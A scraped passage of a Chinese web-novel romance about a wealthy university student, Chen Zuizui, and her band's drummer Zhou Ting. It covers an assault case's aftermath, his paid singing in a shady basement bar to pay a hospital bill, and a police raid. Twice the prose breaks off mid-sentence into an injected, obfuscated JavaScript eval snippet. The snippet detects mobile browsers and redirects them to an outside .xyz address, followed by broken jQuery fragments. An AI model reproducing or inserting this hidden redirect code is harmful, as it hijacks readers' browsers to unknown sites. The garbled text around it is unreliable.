“陈总。”肖天折回陈政聿面前,“是我儿子不成器,这样,我让她给令妹道歉,或者您觉得怎么样才能出了这口气?” 陈政聿掀眼扫了不远处还在发懵的肖笑,忽然嗤笑,“肖老板言重了,自己的儿子你不管教,让我一个没有孩子的来管,还真我吃盐多了就闲的慌吗?” “而且,我妹妹是我们陈家最宝贝的孩子,别说是我爸,谁惹了她,我第一个不放过。”他抬眼,目光凌厉望进肖天眼里,“我会安排最好的医院,最顶尖的医生来治疗你儿子。但我会倾尽陈家所有的人脉,他该受的跳不掉。肖老板若想包庇,但且一试。” 肖天低下头,“陈总严重了。” 陈最最就等陈政聿说这句话,她笑着勾上陈政聿的手,撒娇讨好:“嘻嘻。哥,有你真好。” “你最好真是这么想的。”陈政聿抬手轻点陈最最眉心,皱着一张与她三分相似的脸佯装严肃:“走,回家。这阵先在家住。” “遵命。”陈最最屈膝,学着电视上的宫女行礼。出了这样的事情,她确实想在家呆一段时间。 这时,周廷走了上来,对陈最最:“既然你家人来了,我就先走了。”说完,他朝门外走。 “等一下。”陈最最在门口追上了大步走的周廷,“你走那么快干嘛?” 周廷站着,没回头,也没转身。 陈最最主动走到他身侧,绞手指,扭扭捏捏,半天说不出来一句话。 似乎等得不耐烦了,周廷开口催促:“你不说,我走了。” “诶。”陈最最不满嗞了一口,“你急什么,刚才在里面也没见你多着急。” 周廷抬步。 陈最最意识道错了,慌忙吼道:“今天!” “谢谢你。” 9. 她 口供录完,派出所没她什么事了,陈最最坐上陈政聿的黑色大G离开。 肖天没过多久颓废地走派出所,肖笑母亲跟在他后面,一脸愤慨,还在抱怨他打儿子的事情。 “你干什么?!一副天塌了的模样,连儿子都打。” 肖天本来就很生气。肖家的公司是做建筑材料的,而陈家是做房地产,占苏海乃至江浙一带大半的市场,肖家惹了这么一个大腕,在江浙经济区也算是废了。 肖天索性破罐子破摔,转头就骂:“打,打的就是他!我儿子?呵,他要是争点气,也不至于坏了我的大事,要这样的儿子有什么用?还不如生的时候就掐死。” “你!”肖笑的母亲哭了,不顾形象在街边放声哭,那叫一个悲戚,跟死了爸妈一样。 肖天瞧见周围频频投来的目光,觉得丢脸:“行了,别哭了,我也就说说气话。”他有点疲惫:“趁学校还没反应,快回去给儿子申请国外学校吧。” “什么?”肖母抬起通红的眼睛。 肖天瞪了一眼低头乖巴巴站在后面的肖笑:“国内,没有一所学校会收档案上记着企图侵犯女同学的学生。” “陈家,我们惹不起。” - 晚上十点,周廷跟酒馆老板请了一天假,回到宿舍后,他先洗了个澡,出来的时候正好对上两双好奇的大小眼。 叶斌迫不及待:“老廷,今晚个是什么情况?快给我们说说。” 闻小云站在一旁,虽然没开口,眼里的求知却也藏不住。 周廷从头上扯下白毛巾,松松垮垮挂在脖子上,他在位置上坐下来,俯身,啪嗒一声,打开台灯。 靠着背椅沉默了一会,他才轻启薄唇:“陈最最迷路了。我找到她带回来的路上,撞见肖笑跟着一个女同学进了女厕。” “卧槽!我就知道是这样。”叶斌叉着腰,“我第一眼见到他的时候就觉得贼眉鼠眼的不是什么好人。” 闻小云认真点头,“嗯,我也有这种感觉。不过,我们打人打的挺狠的,警察没说什么吗?” “对啊。”叶斌一拍手才反应过来,“我们看你打得那么狠,还以为是最最出事了呢,跟着打更狠……呃……没让我们赔钱吧?” 提到钱,周廷心莫名紧了一下,垂着眸,长长的睫毛掩盖住眼底的情绪。 沉默了半晌。 “陈最最她哥来了,事情交给他哥了。” “呼——”叶斌呼了口气,“那就好那就好,我才刚换了一把新吉他,现在可没什么钱了。” 门锁扭动的声音响起,张彡提着烧烤回来了,一份递给叶斌,一份放到自己桌上。 瞧见他神情恍惚,叶斌欢喜拿着烧烤串往嘴里送,靠着椅子,伸脖子,吧唧着嘴问:“老彡,咋了?少男失春了?” 张彡:“我放弃了。” 叶斌:“啊?放弃啥?” “最最。” “噗——”叶斌差点没被自己口水呛到,“啥?” “我买烧烤回来,搁学校门口瞅见最最上了一辆大G,帮她开门的那男的,老俊了……” 听这话,身后的叶斌踌躇满志,拿着串串,一个劲用手机百度一辆大G的价格,一辆一辆让张彡认。 周廷觉得吵,从插兜拉出耳机带上。 耳边回荡着抒情的歌曲,他从上锁的抽屉里拿出一本黑色的笔记本,翻开最新的一页,抬笔一笔笔写下: 打人,失控,越界。 赔钱...... 今天,冲动了。 …… 因为陈家施压的原因,学校处理肖笑的动作很快,在国庆前,肖笑就把退学流程走完了。 肖笑在苏大也算个名人,他退学的事情众说纷纭,都知道他是因为□□女同学,却没人知道这个女同学是谁,都在猜测。 国庆长假即将倒来,中秋连着国庆,梁雪荞一个月前就买了前往沈阳的高铁票,中秋前一天走了。李思爸妈都不在家,说是出国工作去了,她长假不回家,她呆在宿舍里。 陈最最自从经历肖笑之事后,就一直住在家里,在宿舍群慰问中秋快乐,她问梁雪荞拿家庭地址,分别给李思和梁雪荞寄月饼礼盒。 在长假彻底开始前,陈最最还要去一趟学校,叶斌说等国庆过了之后,苏海、大溪、晋城三个大省要联合举办一场大学生音乐比赛,以乐队的形式参加。 这是一个很难得的机会,胜出的乐队不仅能拿到很大一笔奖金,一些大型的娱乐公司也会关注这个比赛,要是能签上公司,乐队以后的前途可谓是一片大好。 所以这个比赛,乐队所有人都必须拼尽全力。中秋国庆长假好好休息,之后就要开始全力以赴。 陈最最拿着钥匙来到训练室,却发现门已经打开了,闻小云在里面,半跪在地上检查他的贝斯。 “小云?” 闻小云只跟陈最最一个年纪,读书早,十六岁就上大学,刷新了苏大招生年龄最小的记录。 闻小云的背影僵了一瞬,然后才放下贝斯,转过身来,有些赧然扯嘴角:“你来了?” 陈最最点头,很自然地坐在沙发上,“斌哥和彡哥呢?” “哦。”闻小云打完招呼就蹲了回去,边拨弄弦边答:“斌哥上厕所去了,彡哥早上就去机场了。” “嗯......”陈最最目光不自然地瞥向爵士鼓的方向,“那周廷......学长呢?” “廷哥啊。”闻小云似乎弄好了贝斯,把他装进了贝斯盒里,提到周廷他自然了很多,“廷哥他前几天嗓子哑了,赶放假前去医院了。” 陈最最像被按了什么开关,蹙眉问道:“嗓子哑了?为什么?” 闻小云摇头:“不知道。” 没一会,叶斌提着裤子回来,“嚓,放假了厕所没人扫了,一股骚味儿。”他边提着裤子边走进来,看见陈最最时愣住了。缓了好一会,才松手拍了拍大腿,装作什么都没发生,平静走过来。 国庆收假的半个月后,会进行校级的第一次选拔,不仅音乐学院,其他学院的学生也会组建乐队进行争夺。 叶斌把赛程表以及备选曲目交给陈最最,她没经验,唯一一次上台的机会也错失了。 陈最最知道,她没完全系统地学习过音乐,以她现在的能力是拖乐队后腿了。 她甚至怀疑过,周廷到底看上她什么了? 但她也不是一个没有担当的人,缺什么就去学什么,国外的时候,私教就说过她唱法大开大合,很有天赋。 国庆,爸爸陪着妈妈,因为工作原因还在外地买不到票回来。公司全体放假,陈政聿本该没多少事情,但不知道为什么,他也不在苏海。 陈最最打开mac,在黎初的帮忙下找了一家口碑很好的音乐教室。跟课程老师确定时间,后天就开始上课。 家里阿姨放假了。负责肖笑案子的警察放假了仍尽职尽责,约陈最最在她家附近的警局看监控,确认厕所的另一位女同学。 反正都要出门,陈最最正好去觅食。她穿了一身白色的运动服,拿上手机出门。 她家距离市中心很远,开车过去要一个多小时,陈最最会开车,刚回国就考了驾照,但要说上路实操,她还是有些慌的,去市中心吃大餐这样的想法,被扼杀在摇篮里。 警察局在小镇外面,一个单行道的路边,陈最最刚走到门口,就有个人等在那里。 马警官穿了一件灰色衬衫和黑色牛仔裤,看见她来,笑着把人引进去,“抱歉啊,假期还耽误你的时间。” “没关系的,反正我家就在附近,您跨区过来才辛苦呢。”陈最最说,“不过,您中秋国庆不放假的吗?” 马警官哂笑:“放假也不知道干嘛,孤家寡人一个。” 马警官把她带进会议室,陈最最坐在电脑前,眼睛瞪得大大的,争取不错过任何一点蛛丝马迹。 她这模样把马警官逗笑了,“哈哈哈,小姑娘,你不用那么紧张,有人出现的我都给你挑出来了。你放松看,啊。” 陈最最眨了眨眼,不好意思地点点头。 “不着急,慢慢看。我去给你倒杯水。” 陈最最道了一声谢,察觉视频确实是剪辑过的,就放松了下来。 一个视频放完,会自动联播下一个视频。陈最最在看到第十个视频的时候,找到了那个女生。 但是视频都快播完了,马警官还没回来,陈最最正准备点暂停,手悬在空格键上还没点下,频幕上转起了默认圈——视频自动连播了。 会议室的灯很亮,安静得能听到挂在墙壁上钟摆指针跳动的声。 在这样的环境下,半点微末的声音都会变得清晰可闻。 十八英寸的电脑屏幕里,视频经过处理,哪怕漆黑一片也能看见体育馆的每一个细节。 陈最最知道那个环境有多恐怖,像极了鬼片里寂静无人的校园,除了风声和自己的脚步声什么都听不到。 空荡的走廊,连呼吸都有了回音。 可视频里的人却仿佛没有半点惧怕,他脚下的路一步比一步快,腰上的衣服被风兜起,精心打理的头发此刻已变得狼狈。 他到的地方,照明灯始终会晚他一步。 陈最最悬空的手再也点不下去了。 咚咚咚。 胸腔里的心跳声,震耳欲聋。 “陈最最!”周廷的声音从电脑的单配的音响传出,混杂着音响的电流声,一下一下冲击着她的耳膜,轻抚她的心房。 文体馆很大,上下共有八层,每层面积四百平米。 他跑遍了整个文体馆,呼喊她的名字。 ...... 陈最最带着一种恍惚的无法形容的心情走出了警察局。 古镇的入口有一条小吃街,是她今晚的觅食地点。从警察局步行到古街花了十五分钟,心情也渐渐平复了。 金秋十月,天气渐渐转凉,风忽然邪乎得很,逼人将衣服的领口拉到底。 从前陈最最在国外的时候,看新闻知道国内有一个词叫旅游狂潮。她看到网上吐槽还不以为意,并不觉得能有多恐怖,可当她自己成为了其中一员才发现: 真的想骂娘!!! 为什么一个小镇,游玩的措施一个都没有,既不是什么江南风光,也不是扬州古园林,仅一个后期人造的小镇,人怎么会这么多?! 她想喝茶颜悦色,一扫码:您的前面还有一百二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072074|163254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三单,制作预计需要一个半小时。 那好,她买瓶矿泉水总可以了吧。好不容易挤进一个便利店,结果售架上只剩下一种饮料,还都是日本产地。 “......” 陈最最认命了,水也不喝了,找到一家看起来不怎么好吃,但人不是很多的店,点了碗馄饨打包回家吃。 店里面没位置,陈最最只能站在门外的台阶上等待叫号。她刷手机等餐的间隙,微信忽然弹出一条消息。 【黎初:祝我的大宝贝,中秋国庆Happy!礼盒收到了,很喜欢!超好吃!】 陈最最笑了一声,除了爸妈和哥哥外,黎初是唯一一个发消息给她,不是群发的人。 【Angela:谢谢宝,你也是。好吃来我家,随便吃。】 【黎初:好耶~~】 陈最最从和黎初的聊天页面退出来,一个叫【嗨乐队】的群亮起了红点,有人在群里@她。 【叫我叶经理:@Angela月饼好吃,哪买的?我妹全给吃完了,我想再买点。】 【Angela:那我过两天给你再寄两盒吧。】 【叫我叶经理:不用,我自己买就成。】 【Angela:那我把店家的号码发给你,你想要吃什么样的,跟他定。】 【叫我叶经理:好,3Q⊙▽⊙】 【键盘神:@锁,老廷,在哪儿呢你呢?小学妹加我找你拿微信儿,你说我给不给?】 【小云:吃瓜.gif】 【Angela:吃瓜.gif】 紧接着,张彡发了一张他和学妹的聊天截图。 陈最最点开看了一眼,本就不开心的心情瞬间跌落谷底。 幸好,周廷一句话没说。 【叫我叶经理:老廷在兼职呢吧。】 【叫我叶经理:我看学妹挺急的,要不你先给一个试试?】 【键盘神:溜.gif】 兼职? 陈最最记得黎初说过,在小镇的酒馆里曾见过周廷。 她也不知道抽了什么风,向黎初问了那家酒馆的位置,提着一碗打包好的馄饨就进去了。 酒馆的位置在小吃街的尽头,很大,有两层,地面上的卖各种特产酒水,是个小清吧。而地下负一层,是个酒吧,鱼龙混杂。 上下两层以一道红蓝双开帘为分界线。 黎初断然不会进酒吧,她看见周廷的话,应当多半是在清吧看见的。 与古街的暖色调一样,四周透明落地玻璃窗的清吧也是木质卡其色的。 陈最最走进去扫了一圈,也不拐弯抹角,忽略调酒师看她手中馄饨的奇怪视线,直截了当问:“你们这的驻唱有没有一个叫周廷的呀?” 反正周廷也不知道问的人是她。 调酒师拿着调酒器,朝驻唱台看了一眼,笑着回答:“周廷出去抽烟了,应该快回来了。客人可以找个位置休息一下,边吃边等。”说完,还是很特意地看了馄饨。 陈最最扭头看了看身后,真正来喝酒的没几个,大部分都是游客。五个人挤三个人的位置,嗦粉的有,吃烤串的有。 这是把她也当做游客,来这休息吃饭的? 什么眼神,什么态度,看不起人吗? 陈最最没给调酒师好脸色,冷冷地说:“不用了,谢谢。”转身,她提着馄饨出门了。 出门抽烟,那应该离这不远。 陈最最走出来,酒馆的旁边有一条小巷,她走过去,在巷口停住脚步。 见面了说什么呢?什么都没想明白就过来了,怎么解释自己在这?家在附近,提着混沌来酒吧? 是个人都会觉得她有病吧。 还是如实说,是专程来见他的。 陈最最自顾自摇头,都不好。 “刘哥,我想预支往后三个月的工资。” 巷子里的声音,被冷风裹挟着传出来,打断了陈最最烦乱的思绪。她微微侧头看去,周廷就在里面,微弱的路灯下,他指尖夹着一根烟,亮着一点星火。 他对面还站着一个男人,穿着黑咖色的衬衫,平平无奇。 男人似乎很为难,“周廷,我很理解你的处境,但你在酒馆是兼职,没有签合同。这要是我自己的店,给你了就给你了,也就一万块钱,但我只是合伙人,没办法给你走流程。” “......” “这样吧。”似乎是真的很同情周廷,那人又说:“你去楼下唱一首,钱,店里和你对半分。以你的能力,一万块钱也就一首歌的事。” “不行。”周廷掀开眼,捻熄红点的烟头,语气带着一股冷意,“我不会去下面唱的。” 周廷转身就要走出来,陈最最立马缩回去,拔腿准备跑。这时,周廷的手机兀自响了。 “喂。” “嗯,是,你好。” “好......我知道了。” 三句话,每说一句,周廷的声音就落下一分,最后低到了尘埃里。 空气陷入长久的沉默,风停在了巷口。 在寒冷的风口里,陈最最听见他声音低沉,藏在黑暗中的轮廓,有些虚渺。 “刘哥……我唱......” 10. 她 与一层的暖色系装潢不同,负一层的装饰是以灰白黑三个冷色调为主。 整体架构四四方方,桌子是方的,喝酒的杯子是方的,连皮质的环形沙发充满也是四四方方的。 这个地下酒吧很时尚,与这个充满烟火气息的古镇,格格不入。 旅游旺季,为了保证顾客的舒适度,进入楼下店的客人需要买票,一个人一千五。 负责收钱的是一个扎着两个麻花辫的女生,站在红蓝布帘前,见陈最最提着一碗已经泡发的混沌走过去,还好心地提醒了她收费的问题,误认为她是来找地方吃饭的游客。 陈最最付钱提着馄饨进门。 楼下店因票价昂贵,进来的人不多,还有许多空位,她随便找了一个不起眼的角落坐下。 馄饨放在擦得发亮的镜面桌上,雾气结成的水珠顺着袋口滴在桌面上。 她的心情很糟糕,来的时候肚子是饿的,但现在,她气饱了。 周廷跟那个衬衫男说的话,她隐约听明白了。虽然不知道这楼下做的究竟是什么交易,但一开始周廷拒绝,表明他一定很排斥这件事。 所以,还能是什么交易?反正正当不到哪里去。 只是,她不明白,周廷为了钱,居然可以自甘堕落到这种地步吗? 她不信,所以违背陈政聿一直以来的教诲,哪怕国外思想开放,可她从来没有进过除清吧之外,尤其还是这种四周封闭的需要付费进入的地下酒吧。 过了五分钟。 四周烘托氛围的彩灯熄灭了,头顶漆黑的阴影处投影仪散成一束光出现在对面的舞台后的白墙上。 在抒情R&B的纯钢琴曲声中,陈最最亲眼看见周廷提着一把吉他上台,一步步迈上台阶,从昏暗中到光明处。 他全程低垂着头。 完美的侧颜被走马观花的ppt扫过。清列温润的歌声透过四面八方的挂墙音响传出,在这个密闭的空间里三百六十度全景环绕。 他正用他与生俱来的优势,取悦台下的寥寥数几的看客。 哪怕他不知道,这些看客中,有她一个。 陈最最攥紧拳头,新做的月牙指甲深深嵌进嫩肉里。 一首歌结束。 看见自己想看的,陈最最觉得没必再要继续呆下去了。 她再次提起桌上的馄饨,准备起身离开。 “一万~~~”一个娇俏的声音响起,陈最最的手停在空中,措不及防抬头看去。 位置第一排的半圆沙发上,坐了好几个人浓妆艳抹的男女,开口的是坐在最中性感间的,大波浪红发、烈焰红唇,长得特别具有攻击性的性女人。 “一万块,到包厢,今天给我们唱一晚。”女人勾着唇,看起来蛊惑极了。 而台上的周廷全程低着头,像一个被人贴上标签,等着填上价格的橱窗娃娃。 台下走上来一个人,说了几句什么陈最最没听清,她就看见周廷滑下高脚凳,就要准备跟那群人走了。 也不知道哪根筋搭错了,在连规则都不清楚的情况下,陈最最忽然站起来,吼一句:\"三万!\" “......” 全场寂静。 原本还有小声说话的场子,顿时变得鸦雀无声,所有人的目光都投落在角落,穿着一身白色运动服,扎着一个高马尾,跟前的桌上还放着一个塑料盒的,看起来还未成年的小女孩身上。 周廷似乎也觉得惊诧,抬头看过来,蓦地撞进了一双麋鹿般纯澈的双眼。 陈最最在对上他目光的那一刻,他先是愣住,然后惊诧渐渐变成一种让人很难形容的眼神,里面没有她预想的被人戳穿的难堪与羞愧,反而是平静,古井无波般的平静。 她目不转睛盯着周廷,照葫芦画瓢,继续说:“三万,我买他到包厢,为我唱一首。” 站在周廷身边的男人正是刚才的那个刘哥,应该是楼下店控场的,他拿过话筒,充满歉意地对陈最最说:“抱歉女士,这边这位女士比您先出价,我们楼下店的规矩是…...” “五万。”她说,“够不够。” “……”整个场子陷入前所未有的安静。 五万什么概念,顶一个白领几个月的工资,顶楼上清吧一月的利润。 就这么轻描淡写地被这个穿着运动服,提着一碗馄饨的,看起来十七八岁的小姑娘说了出来。 “小朋友。”刚才叫价的那个女人站起来,面朝陈最最,吊着眉梢,戏谑道:“台上的帅哥是你相好的?” 陈最最没回答,只是看了周廷一眼。他还是那么安静,脸上看不出什么表情。 “哼哼,算了,姐姐就先不跟你抢。不过姐姐还是要奉劝你一句,花钱买男人可以,但可绝对不能花钱养男人哦。” 这个长得美艳至极的女人坐回位置,朝周廷身边的刘哥抬了抬手。 “那......好吧。那穿白衣服的那位女士,请您随我来。” 进入包厢,刘哥没有跟进来。 陈最最把馄饨啪嗒一声放在桌上,猛然转身:“学长,你为什么会在这里?你要是缺钱可以跟我们说呀,我可以借给你,你为什么要…” “想听什么歌?” 周廷从她肩头擦过,冷漠的语气,让陈最最满腔的愤慨就跟一块小石子山沉入广袤的海洋,惊不起一点水花。 “我不想听歌。”陈最最转身跟着他激动反驳,见周廷没有反应,她又吼:“学长!我在问你呢,你为什么要在进这种地方工作,你这样作贱自己…...” dang~~~ 一阵吉他声响起,周廷坐在了高脚凳上,他徒手拨吉他,唱起了周杰伦的《最长的电影》。 包厢里的灯光被人调成了暧昧的粉色,周廷却唱着这样一首不合时宜的歌。 “学长。”陈最最唤了他一声,他仿佛没听到。 “学长!”陈最最脚步踉跄了下,站在他面前,可他仍旧把她当空气。 陈最最忍不住大吼一声:“周廷,你没有尊严的吗?!” “……” 最后一个音符落下。 四周短暂地沉默下来,半晌,周廷滑了下来,语气冷漠且疏离:“这首歌我不收你钱,回去吧,这种地方不适合你。” 周廷语速很快,脚步迈更大,在陈最最还没反应过来时,他就开门出去了。 陈最最刚跑出两步又折回来,顺走馄饨。 跑到门口时,被一直等在外面得刘哥横手拦下。 “女士,既然周廷说了不收钱,那这边就不需要您支付了。况且,五万块,也不是小数目不是。来吧,周廷让我送您出去。” “我有五万的。”陈最最看着周廷快速走远的背影,在霓虹的走廊里是那么决绝。她知道在坐的没人相信她能拿出五万买一个人的一夜,陈最最扭头问刘哥:“如果我付了钱,他是不是不能出去陪别人了。” 刘哥脸上闪过诧异:“女士,就算您拿的出五万块,买的也只是你叫价时说的一首歌。况且,你就算真的想给,周廷要是不想要......”他哂笑一声:“小姑娘,好不容易周廷愿意了,你就不要耽误大哥哥赚钱了好吗?这年头赚钱它呀就不容易。” 陈最最觉得他话中有话。 这一夜会发生什么?单纯的唱歌,还是会发生其他的事情? “他为什么愿意表演?” “还能是因为什么?赚钱啊。” 果然! 陈最最咬着牙,手中的馄饨汤撒了出来,她盯着周廷即将拐角消失的背影大喊:“毛米洁说的对,你就是个眼里只有钱的垃圾!” ...... 为把后期建的古镇弄得逼真,政府故意把地面修的坑坑洼洼。不知道什么什么时候下了雨,地上全是水坑。雨绵绵徐徐,没带伞的游客一窝蜂钻进店里躲雨,路上就没什么人了。 陈最最拉上卫衣帽气呼呼大步走,裤腿被泥水打湿,右手还提着早就冷掉凝固的馄饨。 靠!这古街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072075|163254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么连个垃圾桶都看不见,一点服务意识都没有! 好心当成驴肝肺! 她干嘛上赶着给人送钱。尊严又不是她的,别人爱要不要,她又不是他妈..... 就算她是他妈,她也没这个义务! 【玛卡巴卡,玛卡巴卡,玛卡巴卡,嗯~~~~】 电话在这个时候很不合时宜的响起,陈最最从裤袋里扯出手机看了一眼,接听。 “喂。” “怎么样怎么样见到了吗?!”黎初好奇的声音传过来,似乎听出她的语气不太好,声音放缓:“怎么啦?没见到?” “见到了。” “唔?那为什么听起来你好像不开心?” 陈最最心里难受,本打算回到家再跟黎初打电话的,现在黎初却主动打过来了。 心里一肚子气,她边冒雨朝古街的出口走,边将刚才的事情绘声绘色,将每一个细节事无巨细与黎初说了。 黎初听完后,哑然了会,然后长长嘶一声,“不会吧,周廷平时看着这么禁.欲的一个人,私下里容忍度这么高?” 陈最最也没想到周廷会是这样一个人,早知道就不进什么嗨乐队了。 想到这,陈最最把手机从耳边拿开,在微信上找到叶斌,发送键点下的那一刻,黎初的声音通过扩音传出,惊动了漆黑夜空上飘下来的细雨。 “不过最最,照你说,那周廷应该是第一次吧。”电话那头的黎初很舒服的呻.吟,然后传来盖被子的声音,她好似随意开口:“哎呀,要是我,我肯定花点钱先享受一顿再说,嘿嘿。” 陈最最烦促的脚步声,因为黎初随意的一句话止住。握着手机和馄饨的手松垮垂在身侧,陈最最的脑中忽然出现了一幕。 伸手不见五指的体育馆里,风都有了声音。 男人穿着得体的衣服,带着精致的妆容,一层一层地找她,喊她。 体力被无限透支,最后一刻却像一只蛰伏的野兽,为了保护天使撕咬撒旦。 他......从来没放弃过寻找她。但她,却只是不痛不痒挣扎,然后亲眼看着他去堕落,看着他走向深渊。 雨水模糊了街景,酒馆的落地窗涌上一层水雾,越来越多,最后凝成水珠滑下,将窗外的一盆铃兰劈成两半。 刘哥提过了很多次,但周廷从来没想到楼下店表演。 医院打来电话,奶奶上次发病的治疗费加重症住院费已经欠到一万块。 他想不到什么快速拿钱的办法,找人借,找谁? 叶斌自己是个月光,张彡每个月攒的也会在月底请女同学吃饭,小云更不用说,周廷有时候都还要接济他。 所以唱歌,在哪里不是唱,他这么安慰自己。 可周廷没想到,她居然会出现。 张彡对陈最最有意思,他不反对队内恋爱。但张彡放弃了,理由是陈最最家太有钱,他配不上。 周廷对太有钱这个词没有太大的定义,直到陈最最穿着在场最朴素的衣服,轻如鸿毛一样的说出五万块钱,对他来说的需要做很多很多兼职才能赚到的,被她满不在乎说出口。 没人相信这个小姑娘能拿出那么多钱,周廷却莫名奇妙地相信了,相信她一定拿得出来。 这是她的零花钱吧。 他这么想。 那她应该去买一个好看的包包,漂亮的衣服,而不是拱手送给他这样的人。 刘哥把她送出去回来了。 周廷又回到了台上,刚才的客人叫价依旧是一万块,他能分到五千,这几天多做点兼职,钱就够了。 “喂帅哥,想到什么唱什么,不要停就行。” 要求很简单,周廷调试了房间的设备和话筒,开始唱第一首。 可他才开始唱第一句。 突然,包厢的门从外被大力推开,音乐戛然而止。 一群戴着帽子的民警带着电棍冲了进来,“检查!有人举报这里涉及非法交易,所有人,身份证拿出来。” 11. 她 还是下午陈最最看监控的那个警局,但这次她不进去,而是等在铁门外面探头朝里看。 人陆陆续续走出来不少,过了好久,相关的人都走光了,她才看见想等的人。 警局玻璃门前,灯光照亮阶梯一方,刘哥一脸站在那一脸委屈对警察诉哭,他身后跟着背吉他的周廷,逆光勾勒出他高挑的轮廓。 “警察同志。这真真真是冤枉啊,我就是本本分分的生意人,做本本分分的生意,赚本本分分的钱。这,这怎么会做违法的事情呢。” 领他和周廷出来的警察处理类似的情况数不胜数,信手捏来:“既然有人举报,那就说明你这种经营方式就是有问题,引群众遐想。这有第一次啊就会有第二次,你还是抓紧时间整改吧,过几天我们会有同志过去抽查。” 警察同志都这么说,刘哥哑巴吃黄连有苦说不出。他跟周廷走出来的时候,正面撞上守株待兔已久的她。 “咦?”刘哥看见陈最最惊了一下,“小姑娘还没走呢?”他看了周廷一眼,顿几秒,甩了他一个不言而喻的眼神,低笑着走了。 可才走出几步又折回来,“对了对了小姑娘,你知道谁举报了我酒馆的吗?” 陈最最背脊僵住一瞬,紧着果断摇头,“不,不知道啊……” 她说出这句话的时候,很明显感觉到一双视线落到她脸上,像两台镭射炮,好像要把她的脸盯出两个洞。 刘哥边骂边离开了,在他走后,陈最最就低下头看脚尖,小手绞着裤边,她被周廷看得有些不自然。 “是你举报的?”周廷突然问她。 “不......不是我。我不都说了吗……”她嗫嚅回,嘴上在说着不,却每个动作都在承认。 周廷不说话了,她也跟着沉默。 路边飞驰而过的汽车尾声偶尔划过,一阵秋雨过,风吹树叶响起的哗哗取代了酷夏聒噪的蝉鸣声。 在这样偶尔吵闹,偶尔安静的环境中,心跳的频率在不断加快,暧昧的氛围在不断蔓延。 咕—— 有某个很不合时宜的东西这个时候发出了抗议。 ……什么啊......在这种时候…… 陈最最用手背碰了碰发烫的脸颊,凉凉的,把热度压下去了一点。 头顶传来低沉的嗤笑声。 周廷憋着笑问:“那碗馄饨呢?” “冷了,我就扔掉了。” 出门的目的本来就是要吃饭的,没吃上受一肚子气不说,还弄了个这么大的乌龙。陈最最顿时觉得委屈,语气带着哽咽。 “还想吃馄饨吗?”看着她垂头丧气的模样,周廷的声音莫名裹挟着哄孩子的意味:“还是想吃其他的?” “……我就想吃热的,味道也要好的。” 晚上九点,因国庆长假,古镇上这个点本该关门的店到现在难得还门庭若市。 陈最最以为周廷会带她去人挤人,排队排个半小时。 但估计是周廷常来的缘故,带着她七拐八拐,在一个很不起眼的小巷子前停住,半秒,朝巷子里走去。 看见陈最最好奇四处张望的模样,他很耐心解释道:“巷子尽头有一家小店,我第一次来小镇无意发现的,味道还不错,比你买的那家要好。” “啊……”好端端怎么对比起来了,陈最最瘪嘴,“我知道那家不好吃,但就他家人最少……”想到了什么,“你带我去的这家店人不会很多吧?” 周廷均速前进的脚步没变,嘴角微微上扬,语气十分笃定:“不会,这家店只有当地人知道,这个点人应该不多。” 陈最最开心点点头,摸了摸自己已经开始一缩一缩的肚皮,“嗯。” 巷子的尽头确实有一家小店,门前挂着一串红彤彤的小灯笼,特别喜庆。 小店的店面很小,包括操作有台十来平米,小本生意招呼的客人很少。 但现在,周廷口中没什么人的小店,小小的店里却虚无坐席,店外的巷道摆满过膝的桌椅,只留下半手宽供人走的小路。 桌面上,嗑瓜子的有,嗦粉灌饺子的有,视频聊天的有,全是人,各种各样的人。 陈最最蓦然发现自己的渺小。 这个小镇是有一亿人在吗?! 她饿得直不起身,肚子饿痛了,她幽怨扭头看周廷。 周廷侧头看她,又转回看店,舔了舔嘴唇,“你在这等着,我去问问。”说完,他迈开长腿挤进勉强一个人过的小道。 陈最最慢悠悠跟着他,在路过一个小方桌的时候,听见一个短发女生说:“哇,这家真的很好吃诶,互联网诚不欺我。” 陈最最:…… 周廷似乎是这个店的老顾客,进去跟老板说了几句,老板看过来跟她对视了一眼,然后把他们带进了自己家里,与外面隔了一个花雕木门。 陈最最饿得眼冒金星,也不看菜单,让老板直接上招牌馄饨,三两。周廷跟她点一样,不过在量上少她一两,只点了二两。 老板招待完去前面忙了,上菜的是老板娘,一个微胖,五官很柔和的妇人。 “小廷带女朋友来啦。”妇人声音和蔼熟络,把周廷的小菜放他面前,递餐盘给陈最最的时候脸上也带着笑,笑起来时苹果肌高高耸起,“真是个可人的小姑娘。” 陈最最心紧了一下,脸上泛起一抹红。 “不是。”周廷很快澄清,“是同学。” 老板娘明显不信,但周廷也不是解释给她听的,主要怕陈最最不自在。 屋子的陈设很简单,一张桌四张椅,头顶的灯用的是农村的那种吊顶白帜灯,灯托上还挂有陈年发黑的蜘蛛网。 等馄饨的过程中,周廷一直刷手机,陈最最就大胆地盯着他看。倏尔,她见他划手机的手顿了一下,然后猛地抬眼,陈最最措不及防与他四目相对,慌乱的一塌糊涂。 心跳声入擂鼓,她避开视线,低头假装看手机。 可这时周廷反而放下手机,安静的空气中响起了他的声音:“你想走?为什么?” 闻声,陈最最抬起头,疑惑眨眼:“什么?” 她都还没吃呢怎么就要走了? “要走了吗?可是……我还很饿啊。” 咕—— 似乎为了证明主人的话,她肚子很合时宜的叫了一声。 陈最最点了下头,仿佛再说:我真的很饿。 “……”周廷在心里叹气,把手机转了半圈,推到陈最最面前让她看。 